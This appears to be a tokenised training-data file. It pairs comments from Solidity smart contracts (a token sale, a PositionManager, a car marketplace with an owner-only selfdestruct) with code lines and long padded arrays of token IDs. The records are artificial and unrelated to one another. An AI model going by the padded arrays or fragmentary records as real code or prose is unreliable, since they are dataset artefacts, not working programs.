rewardTransferAmount = safeDiv(safeMul(msg.value,tokensPerEthPrice),1); // 3. interaction tokensRemaining = safeSub(tokensRemaining, safeDiv(rewardTransferAmount,1)); // will cause throw if attempt to purchase over the token limit in one tx or at all once limit reached. tokenContract.transfer(msg.sender, rewardTransferAmount); // 4. events fundValue[msg.sender] = safeAdd(fundValue[msg.sender], msg.value); Transfer(this, msg.sender, msg.value); Buy(msg.sender, msg.value, rewardTransferAmount); } function budgetMultiSigWithdraw(uint256 _amount) public onlyOwner { require(areFundsReleasedToBudget && (amountRaised >= fundingCap)); budgetWallet.transfer(_amount); } function checkGoalReached() public onlyOwner returns (bytes32 response) { // return OpenDistribution status to owner for each result case, update public constant. // update state & status variables require (isOpenDistributionSetup); if ((amountRaised < fundingCap) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) { // OpenDistribution in progress waiting for hardcap. areFundsReleasedToBudget = false; isOpenDistributionClosed = false; CurrentStatus = "OpenDistribution in progress, waiting to reach goal."; return "OpenDistribution in progress."; } else if ((amountRaised < fundingCap) && (block.number < fundingStartBlock)) { // OpenDistribution has not started. areFundsReleasedToBudget = false; isOpenDistributionClosed = false; CurrentStatus = "OpenDistribution is setup"; return "OpenDistribution is setup"; } else if ((amountRaised < fundingCap) && (block.number > fundingEndBlock)) { // OpenDistribution ended, total not achieved. areFundsReleasedToBudget = false; isOpenDistributionClosed = true; CurrentStatus = "OpenDistribution is Over."; return "OpenDistribution is Over"; } else if ((amountRaised >= fundingCap) && (tokensRemaining == 0)) { // Distribution ended, all tokens gone. areFundsReleasedToBudget = true; isOpenDistributionClosed = true; CurrentStatus = "Successful OpenDistribution."; return "Successful OpenDistribution."; } else if ((amountRaised >= fundingCap) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) { // OpenDistribution ended. areFundsReleasedToBudget = true; isOpenDistributionClosed = true; CurrentStatus = "Successful OpenDistribution."; return "Successful OpenDistribution"; } else if ((amountRaised >= fundingCap) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) { // OpenDistribution in progress, objetive achieved! areFundsReleasedToBudget = true; isOpenDistributionClosed = false; CurrentStatus = "OpenDistribution in Progress, Goal Achieved."; return "Goal Achieved."; } setPrice(); } }
boolean for OpenDistribution setup
bool public isOpenDistributionSetup = false;
12,886,821
[ 1, 4625, 348, 7953, 560, 30, 225, 1250, 364, 3502, 9003, 3875, 203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 1426, 565, 1071, 16633, 9003, 7365, 273, 629, 31, 2868, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xd51D6A3b551f1150c69C4aaD46049c9bACc84A21/sources/contracts/PositionManager.flattened.sol
The baseRate can decay to 0
assert(decayedBaseRate <= MathUtils._100_PERCENT);
8,305,500
[ 1, 4625, 348, 7953, 560, 30, 225, 1021, 1026, 4727, 848, 22286, 358, 374, 203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1815, 12, 26039, 329, 2171, 4727, 1648, 2361, 1989, 6315, 6625, 67, 3194, 19666, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.4.22 <0.6.0; import "./Utils.sol"; contract CarMarketPlace { using Utils for *; address payable public contractOwner; uint private startTime; uint private durationTime; constructor() public { contractOwner = msg.sender; startTime = now; durationTime = 2592000; //30 days } struct Car { uint id; string vin; uint price; string carInfoIpfsHash; string imageIpfsHash; address payable owner; bool purchased; } //count of cars uint public carCount = 0; // Mapping of ID to car mapping(uint => Car) public carsMap; // Mapping of vin to purchased or not mapping(string => bool) public uniqueVinMap; //Event to be triggered event CarOnSale(uint carId, string vin, uint price, string carInfoIpfsHash, string imageIpfsHash, address owner, bool purchased); //Validate input data for create car sale modifier validateSellCarRequest(string memory vin, uint price, string memory carInfoIpfsHash, string memory imageIpfsHash) { require(bytes(vin).length > 0, "VIN is invalid !!"); require(price > 100000, "Price is invalid !!"); require(bytes(carInfoIpfsHash).length > 0, "CarInfo IPFS hash is invalid !!"); require(bytes(imageIpfsHash).length > 0, "Image IPFS hash is invalid !!"); _; } //Unique vin/car validation modifier validateUniqueVin(string memory vin) { require(uniqueVinMap[vin] != true, "VIN/Car already exists !!"); _; } // This method will create or list a car for sale so that potential buyer can purchase it. // Input: // _vin - VIN of the car // _price - price of the car // _carInfoIpfsHash - hash of JSON (vin, make, model, year, type, sellerName ) stored in IPFS // _imageIpfsHash - hash of car image stored in IPFS function createCarForSale(string memory _vin, uint _price, string memory _carInfoIpfsHash, string memory _imageIpfsHash) public validateSellCarRequest(_vin, _price, _carInfoIpfsHash, _imageIpfsHash) validateUniqueVin(_vin) { //Increment car count carCount++; // Seller Creates car and puts on sale carsMap[carCount] = Car(carCount, _vin, _price, _carInfoIpfsHash, _imageIpfsHash, msg.sender, false); //Map to avoid creating duplicate cars/vins for sale uniqueVinMap[_vin] = true; //Trigger event when car is created for sale emit CarOnSale(carCount, _vin, _price, _carInfoIpfsHash, _imageIpfsHash, msg.sender, false); } event CarPurchasedFromSeller(uint carId, string vin, uint price, string carInfoIpfsHash, string imageIpfsHash, address owner, bool purchased); event sellerAndSmartContractBalanceAfterPurchase(uint sellerBalanceBefore, uint amountToSendToSeller, uint sellerBalanceAfter, uint marketPlaceSmartContractBalance); modifier validId(uint id) { require(id > 0 && id <= carCount, "Not a valid ID !!"); _; } // This method will allow the buyer to purchase the car from seller. // 95% of the price goes to the seller and remaining 5% goes to this contract // Input: // _id - ID of the car being bought function buyCarFromSeller(uint _id) public payable validId(_id) { // Retrieve the car Car memory car = carsMap[_id]; // Get the owner/seller address payable seller = car.owner; //Validate buyer is not the same as seller require(msg.sender != seller, "Invalid buyer !! Are you the seller ? "); //Validate buyer has enough balance to buy the car require(msg.sender.balance >= car.price, "Buyer does not have enough balance to purchase the car !!"); //Validate price sent in the transaction is equal to or greater than car price set by seller require(msg.value >= car.price, "Invalid price sent to buy the car !!"); //validate car is not purchased already require(!car.purchased, "Car has already been purchased by a different buyer !!"); //Update the car as purchased car.purchased = true; //Transfer ownership to Buyer car.owner = msg.sender; //re-assign the updated car carsMap[_id] = car; //Pay 95% of the total price (in wei) to seller //Pay 5% of the total price (in wei) to CarMarketPlace smart contract uint totalCarPrice = msg.value; //uint amountToSendToSmartContract = Utils._getPercentageOfTotalAmount(uint(5), uint(100), uint(totalCarPrice)); //uint amountToSendToSeller = Utils._safeMathSubtract(totalCarPrice, amountToSendToSmartContract); uint amountToSendToSeller = Utils._getPercentageOfTotalAmount(uint(95), uint(100), uint(totalCarPrice)); uint sellerBalanceBefore = seller.balance; //Transfer 95% of the price to seller seller.transfer(amountToSendToSeller); uint sellerBalanceAfter = seller.balance; //5% of the price is added to this contract's balance //We are not explicitly adding the balance since contract's function is payable and it holds all the money sent to it initially. uint marketPlaceSmartContractBalance = address(this).balance; //Trigger event when car is purchased by buyer emit CarPurchasedFromSeller(_id, car.vin, car.price, car.carInfoIpfsHash, car.imageIpfsHash, msg.sender, true); //Trigger event for seller and smartContract balance after car purchase emit sellerAndSmartContractBalanceAfterPurchase(sellerBalanceBefore, amountToSendToSeller, sellerBalanceAfter, marketPlaceSmartContractBalance); } //validate only owner can shut down marketplace (kill contract) modifier onlyOwner(address addr) { require(contractOwner == msg.sender, "Only owner can send amount !!"); _; } //Marketplace can be shut down only after 30 days modifier marketPlaceDurationCheck() { require((now - startTime) > durationTime, "Sorry, cannot shut down marketplace (kill contract) before 30 days !!"); _; } event MarketPlaceShutDown(string msg); //Contract Self Destruction Pattern //This method will allow contract owner to shut down marketplace (kill contract) only after //30 days from the marketplace was started (contract deployed). function marketPlaceShutDown() public onlyOwner(msg.sender) marketPlaceDurationCheck { //Generate event emit MarketPlaceShutDown("Car Marketplace has been shut down by the owner !!"); //Kill contract and contract money is transfered to owner. selfdestruct(contractOwner); } }
This method will create or list a car for sale so that potential buyer can purchase it. Input: _vin - VIN of the car _price - price of the car _carInfoIpfsHash - hash of JSON (vin, make, model, year, type, sellerName ) stored in IPFS _imageIpfsHash - hash of car image stored in IPFSIncrement car count Seller Creates car and puts on saleMap to avoid creating duplicate cars/vins for saleTrigger event when car is created for sale
function createCarForSale(string memory _vin, uint _price, string memory _carInfoIpfsHash, string memory _imageIpfsHash) public validateSellCarRequest(_vin, _price, _carInfoIpfsHash, _imageIpfsHash) validateUniqueVin(_vin) { carCount++; carsMap[carCount] = Car(carCount, _vin, _price, _carInfoIpfsHash, _imageIpfsHash, msg.sender, false); uniqueVinMap[_vin] = true; emit CarOnSale(carCount, _vin, _price, _carInfoIpfsHash, _imageIpfsHash, msg.sender, false); } event CarPurchasedFromSeller(uint carId, string vin, uint price, string carInfoIpfsHash, string imageIpfsHash, address owner, bool purchased); event sellerAndSmartContractBalanceAfterPurchase(uint sellerBalanceBefore, uint amountToSendToSeller, uint sellerBalanceAfter, uint marketPlaceSmartContractBalance);
14,024,074
[ 1, 4625, 348, 7953, 560, 30, 225, 1220, 707, 903, 752, 578, 666, 279, 5926, 364, 272, 5349, 1427, 716, 8555, 27037, 848, 23701, 518, 18, 2741, 30, 1377, 389, 21529, 300, 776, 706, 434, 326, 5926, 1377, 389, 8694, 300, 6205, 434, 326, 5926, 1377, 389, 9815, 966, 5273, 2556, 2310, 300, 1651, 434, 1796, 261, 21529, 16, 1221, 16, 938, 16, 3286, 16, 618, 16, 29804, 461, 262, 4041, 316, 2971, 4931, 1377, 389, 2730, 5273, 2556, 2310, 300, 1651, 434, 5926, 1316, 4041, 316, 2971, 4931, 10798, 5926, 1056, 4352, 749, 10210, 5926, 471, 8200, 603, 272, 5349, 863, 358, 4543, 4979, 6751, 276, 5913, 19, 90, 2679, 364, 272, 5349, 6518, 871, 1347, 5926, 353, 2522, 364, 272, 5349, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 752, 16321, 1290, 30746, 12, 1080, 3778, 389, 21529, 16, 2254, 389, 8694, 16, 533, 3778, 389, 9815, 966, 5273, 2556, 2310, 16, 533, 3778, 389, 2730, 5273, 2556, 2310, 13, 1071, 1954, 55, 1165, 16321, 691, 24899, 21529, 16, 389, 8694, 16, 389, 9815, 966, 5273, 2556, 2310, 16, 389, 2730, 5273, 2556, 2310, 13, 1954, 6303, 58, 267, 24899, 21529, 13, 288, 203, 202, 565, 5926, 1380, 9904, 31, 203, 3639, 276, 5913, 863, 63, 9815, 1380, 65, 273, 23672, 12, 9815, 1380, 16, 389, 21529, 16, 389, 8694, 16, 389, 9815, 966, 5273, 2556, 2310, 16, 389, 2730, 5273, 2556, 2310, 16, 1234, 18, 15330, 16, 629, 1769, 203, 3639, 3089, 58, 267, 863, 63, 67, 21529, 65, 273, 638, 31, 203, 3639, 3626, 23672, 1398, 30746, 12, 9815, 1380, 16, 389, 21529, 16, 389, 8694, 16, 389, 9815, 966, 5273, 2556, 2310, 16, 389, 2730, 5273, 2556, 2310, 16, 1234, 18, 15330, 16, 629, 1769, 203, 565, 289, 203, 377, 203, 565, 871, 23672, 10262, 343, 8905, 1265, 22050, 12, 11890, 5926, 548, 16, 533, 331, 267, 16, 2254, 6205, 16, 533, 5926, 966, 5273, 2556, 2310, 16, 533, 1316, 5273, 2556, 2310, 16, 1758, 3410, 16, 1426, 5405, 343, 8905, 1769, 203, 377, 203, 565, 871, 29804, 1876, 23824, 8924, 13937, 4436, 23164, 12, 11890, 29804, 13937, 4649, 16, 2254, 3844, 28878, 774, 22050, 16, 2254, 29804, 13937, 4436, 16, 2254, 13667, 6029, 23824, 8924, 13937, 1769, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 